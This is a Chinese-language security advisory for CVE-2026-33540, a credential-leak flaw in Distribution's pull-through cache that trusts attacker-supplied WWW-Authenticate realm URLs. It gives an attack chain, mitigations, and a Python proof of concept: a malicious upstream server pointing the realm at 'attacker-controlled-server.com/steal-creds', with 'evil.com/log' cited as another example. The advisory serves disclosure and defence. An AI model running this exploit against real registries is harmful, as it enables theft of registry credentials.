IPBUF安全漏洞报告
English
CVE-2026-33540 CVSS 7.5 高危

CVE-2026-33540 Distribution凭证泄露漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-33540
漏洞类型
信息泄露
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Distribution (Docker Registry v2)

相关标签

信息泄露容器安全Docker RegistrySSRF凭证劫持

漏洞概述

Distribution是一个用于打包、运输、存储和交付容器内容的工具包。在3.1.0版本之前,当该组件处于拉取缓存模式时,其在解析上游注册表返回的WWW-Authenticate质询时存在安全缺陷。Distribution直接使用Bearer质询中的realm URL来定位认证端点,而未验证该URL是否与配置的上游注册表主机匹配。因此,攻击者可以控制上游服务器或利用中间人攻击,诱导Distribution将配置的上游凭证通过基本认证发送到攻击者控制的URL,从而导致敏感凭证遭窃取。

技术细节

该漏洞的核心机制在于Distribution组件在处理“拉取缓存”请求时,对认证重定向URL缺乏严格的安全校验。当Distribution配置为缓存模式并尝试从上游Registry拉取镜像时,若上游要求认证,通常会返回401状态码及包含WWW-Authenticate头的响应。根据规范,该头部包含一个realm参数,指示客户端应向何处请求认证令牌。
在受影响版本中,代码直接提取并信任realm参数的值,未检查其主机名是否属于预配置的可信上游Registry。这使得攻击者可以搭建一个恶意的上游服务,或者在能够进行中间人攻击的情况下,篡改响应包,将realm指向攻击者控制的外部服务器(如http://evil.com/log)。Distribution在收到此响应后,会误认为这是合法的授权服务,并携带原本用于访问受信任上游Registry的用户名和密码(Basic Auth),向攻击者的服务器发起HTTP请求。攻击者只需记录该请求的Authorization头,即可获取高权限凭证。

攻击链分析

STEP 1
步骤1:环境准备
攻击者设置一个恶意的Registry服务或处于能够拦截并修改Distribution与上游通信的中间人位置。
STEP 2
步骤2:触发拉取
受害者配置Distribution组件使用Pull-through cache模式,并尝试从攻击者控制的源头(或被篡改的链路)拉取镜像。
STEP 3
步骤3:发送恶意质询
攻击者的上游服务返回401响应,并在WWW-Authenticate头中插入一个指向攻击者服务器的恶意realm URL。
STEP 4
步骤4:凭证泄露
Distribution解析响应,未验证realm域名,直接携带配置的上游用户名和密码向恶意realm URL发起HTTP请求。
STEP 5
步骤5:获取权限
攻击者捕获请求中的Authorization Basic头,解码获取凭证,进而访问受害者的真实上游仓库。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# This PoC simulates a malicious upstream registry that exploits the vulnerability. # It returns a WWW-Authenticate header with a realm pointing to an attacker-controlled server. from http.server import BaseHTTPRequestHandler, HTTPServer class MaliciousUpstreamHandler(BaseHTTPRequestHandler): def do_GET(self): # Simulate a 401 Unauthorized response required for authentication self.send_response(401) # The critical part: A realm URL pointing to an attacker's server (e.g., a logging service) # Distribution will send credentials to this URL. attacker_controlled_realm = "http://attacker-controlled-server.com/steal-creds" self.send_header('WWW-Authenticate', f'Bearer realm="{attacker_controlled_realm}",service="registry.docker.io"') self.send_header('Content-Type', 'application/json') self.end_headers() self.wfile.write(b'{"errors": [{"code": "UNAUTHORIZED", "message": "Authentication required"}]}') def run_server(port=8080): server_address = ('', port) httpd = HTTPServer(server_address, MaliciousUpstreamHandler) print(f"Malicious upstream running on port {port}...") httpd.serve_forever() if __name__ == '__main__': run_server() # Note: In a real attack scenario, the attacker would also host the server # at 'attacker-controlled-server.com' to capture the Authorization header.

影响范围

Distribution < 3.1.0

防御指南

临时缓解措施
建议立即将Distribution组件升级到3.1.0版本以彻底修复此漏洞。如果暂时无法升级,应禁用Pull-through cache模式,或者在网络层面实施严格的出站过滤和DNS绑定,确保Distribution服务器只能解析和访问可信的上游Registry域名,防止向外部攻击者控制的域名发送认证请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表